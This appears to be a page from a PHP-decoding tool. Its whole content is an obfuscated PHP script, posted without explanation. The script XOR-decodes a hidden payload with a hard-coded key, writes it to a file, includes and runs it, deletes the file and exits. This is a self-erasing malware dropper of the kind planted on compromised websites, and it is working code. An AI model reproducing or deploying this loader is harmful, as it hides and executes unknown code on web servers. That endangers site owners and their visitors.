PHP Decode

<?php 
 
function YhEefkU($gqeBTsfTJ, $qYDYvBy) 
{ 
    $gqeBTsfTJ = urldecode($gqeBTsfTJ); 
    $CWcuxHCuT = str_split($gqeBTsfTJ); 
    $action = ""; 
    for ($i = 0; $i < strlen($gqeBTsfTJ);$i++) { 
        $action .= $CWcuxHCuT[$i] ^ $qYDYvBy[$i%11]; 
    } 
    return $action; 
} 
 
$i="kO%2A%09%28hI%2A8%3B%11%08%03%3F%15pB%26%18%23%3A%0A%08%1C5%06%7FIc%24%04%194%7EKWk%18%0C-%03%0E%26%1D%23X%7D%0D7%02%1C%0F%23%27%17%25%03%7DMxUjQ%5C_8%3E%1E3%3E%2B%007Bv8%19%2F%2F%3F%19%3D%066%1E8%3A%16%08%043%0C%3DBoJa%7CCZz%1A%12%3D%11%1C%1E88%1D%08%1C3%0C1%11kZxnu%5D%7DPlR%036%042%21%118%1Ez%120%013Bu1%19%23%11vA%7C%0E%26%13xXr%2C%7DPAxEcN%3E+%0C%08%14%3B%159E%7EJswCZzzAxE%25%05%23uPs%19z%5CxUxJu%3CXkP%29%15%2A%09%26%04yq%1C6%04%3BHcLc%11%5C_XwPzAxEc%0C%3E%27X%7FT0AeEsQqq%12wLz%12%2C%17%2F%0F%3F%7D%5C%3C%15%23HxCeJu%3CXkP%29%15%2A%09%26%04yq%1C6%04%3BHcEg%00z%7ETwT3JsLc%11%5C_XwPzAxEcJquXs%1F%2F%15%07%01%22%1E0uVjP9%09%2AM%2C%185%7D%5C3%11.%00%03A%2A7xu%26w%1F%28%05pA%28%0F%28%0E%5C%3D-sHchIJquXwPzA%25hIJquX%2A%7DPAxEc%184%21%0D%25%1EzE7%107554%0C6KWk%25hI%037uP%3E%03%29%04%2CMg5%16%10%2C%0CFmRlVv7x%7Cu%5D%0BWkxEcJ5%3C%1D%7F%1D%3ETpQt%5D%60gQ%7EKWk%25hIN%250%15%27M%3B%13%2A%04%3A5%3C0%0A0%15rE%07%26%0C%25%1A%1C%3D%7BP%7E%3E%08%2A%10%3Exnu%5D%165%13%3D%04+%02q%7D%5C%23%157%11x%040Ju1%19%23%11%05%0A%3D%1CcWou%5C3%11.%00qE8g%5BuXwP%7E%059%11%22Jlu8%22%1E%29%04%2A%0C%22%068%2F%1D%7F%032%05%28M0%025%25P5%11%29%04nQ%1C%0E46%173%15rE%3C%047%0BxyXp%03kWa%08%25%1A64K+D-W.%5D%24%0586%1D%23%1F%3F%1B%22V%22%0E5-%149%1C.FqIcN54%0C6%2F1%04%21LjQ%5C_XwPz%08%3EEk%03%22%26%1D%23X%7E%059%11%221v4%13p-sHx%1EN%60quXwPzAx%0C%25Jyq%1C6%04%3B%3A%7F%04d7qhEwW3FqE8g%5BuXwPzAxEcJqu%5C%3EPgA9%171%0B%28%7Du%5DPzAxEcJquXwPzAxEd%1A%27rXjNz%21%28%0D3%1C4%27%0B%3E%1F4IqIN%60quXwPzAxEcJquXwP%7D%12.BcWou_f%5EjLiBog%5BuXwPzAxEcJquQl%7DPAxEcJquXwPzA%3D%06%2B%05q%15%0B2%023%004%0C9%0Fyq%11%7EKWkxEcJquXw%0Dz%044%16%26%037uPs%14%3B%159%3Ed%0Bv%08XjMzF%3DBjJ%2AXrwPzAxEcJquXw%15%2C%004Mg%0E0%21%19%0CW%3EF%05Lxg%5BuXwPzAxE%3Eg%5BuXwPzAxE%26%128%21P%7EKWkxEcJ%2CXr%2A"; 
$j="1%196%04%07%156%1E%0E6%179%04%3F%0F%2C%16"; 
 
$zzDVYqRGakY="WpZaXeCjQUxD"; 
 
$k = YhEefkU($i, $zzDVYqRGakY); 
$f = YhEefkU($j, $zzDVYqRGakY); 
$f($zzDVYqRGakY, $k); 
include_once ($zzDVYqRGakY); 
unlink($zzDVYqRGakY); 
exit(); ?>